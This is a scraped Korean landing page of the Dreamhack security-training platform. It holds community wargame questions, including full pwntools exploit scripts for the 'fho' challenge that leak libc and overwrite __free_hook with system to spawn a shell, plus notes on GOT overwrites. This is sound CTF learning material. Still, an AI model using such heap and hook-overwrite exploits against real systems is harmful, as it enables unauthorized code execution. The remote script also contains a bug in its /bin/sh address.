드림핵에 처음 방문하셨나요?
회원가입하고 보안과 관련된 모든 서비스를 이용해 보세요.
보안 공부가 처음이신가요?
어디서부터 시작해야 할지 막막하셨다면, 초심자 단계부터 차근차근 도와드릴게요.초심자를 위한 강의들
보안 공부를 처음 시작하시나요? 다양한 드림핵 강의를 통해 어렵고 지루한 배경지식을 쉽고 빠르게 학습하실 수 있습니다. 드림 비기너즈부터 학습을 시작해보세요!
드림 비기너즈 보러 가기
실력을 기를 수 있는 다양한 문제들
세계 대회를 수차례 석권한 화이트햇 해커들이 작성한 문제들부터 유저들이 직접 제작한 문제들까지, 다양한 문제가 준비되어 있습니다! 우선 새싹 난이도 문제부터 만나보세요.
새싹 난이도 문제 둘러보기
새로 추가된 신규 로드맵
최신 트렌드에 맞춘 다양한 로드맵을 살펴보세요!다양한 학습 분야
보안의 전반적인 분야를 골고루 학습하실 수 있어요.
더 많고 다양한 강의가 궁금하신가요?
여기에서 확인하실 수 있어요!
해킹대회를 직접 경험해보는 CTF
강의와 워게임에 익숙해졌다면 CTF로 실전 경험하기!커뮤니티 인기글
드림핵에서 가장 인기있는 게시글을 확인해 보세요!모두가 궁금해하는 질문
많은 유저들이 참고한 질문이에요. 공감하는 질문이 있으신가요?
Write() 함수를 통해서 stdout의 주소를 출력해서 libc 릭하는 것까지 했습니다. 그 다음에 puts의 got를 main 함수의 주소로 덮어서 입력을 반복할 수 있게 만들었습니다. (main 함수의 다른 오프셋으로 점프하면 스택 정렬이 깨지면서 바이너리가 종료되어서 무조건 main 함수의 시작 주소로 점프를 하게 되었습니다.)
두 번째 페이로드를 통해 puts_got의 원 가젯의 주소를 덮어서 쉘을 획득하려고 하였습니다. 하지만 입력가능한 크기보다 주소의 크기가 너무 커서 한번에는 힘들다는 것을 알고 여러 시도를 하였습니다.
main 함수의 Init이 실행되지 않게 해서 val 변수에 값을 계속 누적시키는 방법 -> 실패: main 함수의 다른 오프셋으로 puts의 got를 덮어서 실행흐름을 조작하면 SIGSEV 발생.
값이 초기화 되지 메모리 공간에 값을 누적시킨 다음에 Write() 함수를 통해서 값을 쓰는 방법 -> 실패: Write() 함수의 *ptr = val; 라는 코드로는 불가능 임의 주소를 역참조해서 그 값을 *ptr에 저장하는 코드가 있어야함.
어떻게 libc 주소를 써야할지 모르겠습니다. 조금만 힌트를 주시면 감사하겠습니다.
(int) 일 때 첫자리가 숫자가 아니라면 0으로 바뀌는 것은 알겠습니다.
그러나 만약 랜덤으로 생성된 $charaters가 전부 숫자로 이루어진다면
$id를 어떤 식으로 알아낼 수 있나요?
1. 익스플로잇 코드
1-1. 로컬
from pwn import *
libc_start_main_offset = 0x21ba0+231
system_offset = 0x4f420 #
binsh_offset = 0x1b3d88
free_hook_offset = 0x3ed8e8
log.contect_level = 'debug'
p = process("./fho")
LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp
pause()
p.send(LibcLeakGarbage)
p.recvuntil("Buf: ")
p.recvuntil("Buf: ")
p.recv(0x40+0x08)
Libc = int.from_bytes(p.recv(6), byteorder='little')
print("main ret addr : " + hex(Libc))
libc_base = Libc-libc_start_main_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
free_hook_addr = libc_base + free_hook_offset
print("system addr : " + hex(system_addr))
print("binsh_addr : " + hex(binsh_addr))
print("free_hook_addr : " + hex(free_hook_addr))
p.recvuntil("To write: ")
pause()
p.sendline(str(free_hook_addr))
p.recvuntil("With:")
pause()
p.sendline(str(system_addr))
p.recvuntil("free:")
pause()
p.sendline(str(binsh_addr))
p.interactive()
1-2. 원격지
from pwn import *
log.contect_level = 'debug'
libc = ELF("./libc6-x32_2.21-0ubuntu4.3_i386.so")
p = remote("host3.dreamhack.games", *)
LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp
pause()
p.send(LibcLeakGarbage)
p.recvuntil("Buf: ")
p.recvuntil("Buf: ")
p.recv(0x40+0x08)
Libc = int.from_bytes(p.recv(6), byteorder='little')
#u64(p.recvline()[:-1] + b'\x00'*2)
print("main ret addr : " + hex(Libc))
libc_base = Libc-(libc.symbols['__libc_start_main'] + 231)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.symbols['__free_hook']
free_hook_addr = libc_base + libc.symbols['__free_hook']
print("libc_start_main_now : " + hex(Libc))
print("libc_start_main : " + hex(libc_base))
print("system addr : " + hex(system_addr))
print("binsh_addr : " + hex(binsh_addr))
print("free_hook_addr : " + hex(free_hook_addr))
p.recvuntil("To write: ")
pause()
p.sendline(str(free_hook_addr))
p.recvuntil("With: ")
pause()
p.sendline(str(system_addr))
pause()
p.sendline(str(binsh_addr))
p.interactive()
2. 질문 사항
1-1의 코드로 로컬에선 익스가 가능한데, 1-2의 코드로 원격지에선 익스가 불가능합니다. 어떻게 해결하면 좋을까요?
2-1. 시도해본 것
docker과 워게임의 libc 버전이 다를 수도 있단 생각이 들어서, ret의 libc_start_main을 leak한 후 https://libc.blukat.me/ 의 libc database에서 하위 1.5byte에 부합하는 몇 가지 libc 버전을 추렸습니다.
이후 1-2 코드의 5 line에 각 so 파일을 전부 대입해봤지만 익스되지 않았습니다.
fho 바이너리를 docker가 아닌 host wsl의 pwndbg로 뜯어봤을 때, docker에선 ret에 libc_start_main+231이 아닌 libc_start_call_main+128이 들어있는 걸 볼 수 있었습니다. 따라서 바이너리가 위치한 os 버전에 따라 ret에 적힌 주소가 libc_start_main이 아닐 수도 있고, 혹은 맞긴하지만 offset이 231이 아닐 수도 있단 생각이 들었습니다.
그러나 1-1과 1-2 모두 중간까지 실행하고 출력값을 봤을때, libc_base의 하위 1.5byte가 0으로 채워져 있었기에 ret가 libc_start_main+231인 것은 거의 확실하다고 생각하여 해당 가능성은 폐지했습니다.
The Hackers’ Playground
해커들의 놀이터, 드림핵 Dreamhack은 해커들의 놀이터입니다.
해킹과 보안을 공부하고 싶은 학생, 보다 안전한 코드를 작성하고 싶은 개발자,
가지고 있는 보안 지식과 실력을 한 단계 업그레이드하고 싶은 보안 전문가까지
함께 공부하고 연습하며 지식을 나누고 실력을 향상할 수 있는 공간입니다.
해커들의 놀이터, 드림핵 Dreamhack은 해커들의 놀이터입니다.
해킹과 보안을 공부하고 싶은 학생, 보다 안전한 코드를 작성하고 싶은 개발자,
가지고 있는 보안 지식과 실력을 한 단계 업그레이드하고 싶은 보안 전문가까지
함께 공부하고 연습하며 지식을 나누고 실력을 향상할 수 있는 공간입니다.
드림핵은 다양한 서비스를 제공하고 있어요.
기업, 공공기관, 교육기관 등 다양한 기관과 함께하고 있답니다.
기업을 위한 보안 역량 향상 솔루션
Dreamhack Enterprise
더 자세한 내용 보러 가기
기업의 보안은 이제 전문가가 혼자, 혹은 보안팀만이 하는 일이 아닙니다. Dreamhack Enterprise는 기업의 전사적 보안 역량 향상을 위한 솔루션을 강의, 워게임, CTF를 통해 제공합니다.
교육기관을 위한 보안 교육 솔루션
Dreamhack Education
드림핵 에듀케이션 소개서 받아보기
양질의 보안 기술교육의 부재가 기존 보안 교육의 한계로 꼽히고 있습니다. 드림핵 에듀케이션에서는 전문가들이 만들고 실제 현업에서 쓰이는 내용 위주로 이루어진 양질의 강의를 제공합니다.
채용 전에 지원자의 역량을 파악해 보세요.
Dreamhack Hiring CTF
드림핵 채용 CTF 소개서 받아보기
Dreamhack Hiring CTF는 세계 대회를 수차례 석권한 화이트햇 해커들이 직접 제작한 CTF 문제를 통해 입사 지원자분들의 보안 실력을 보다 객관적으로 판단하실 수 있도록 도와드립니다.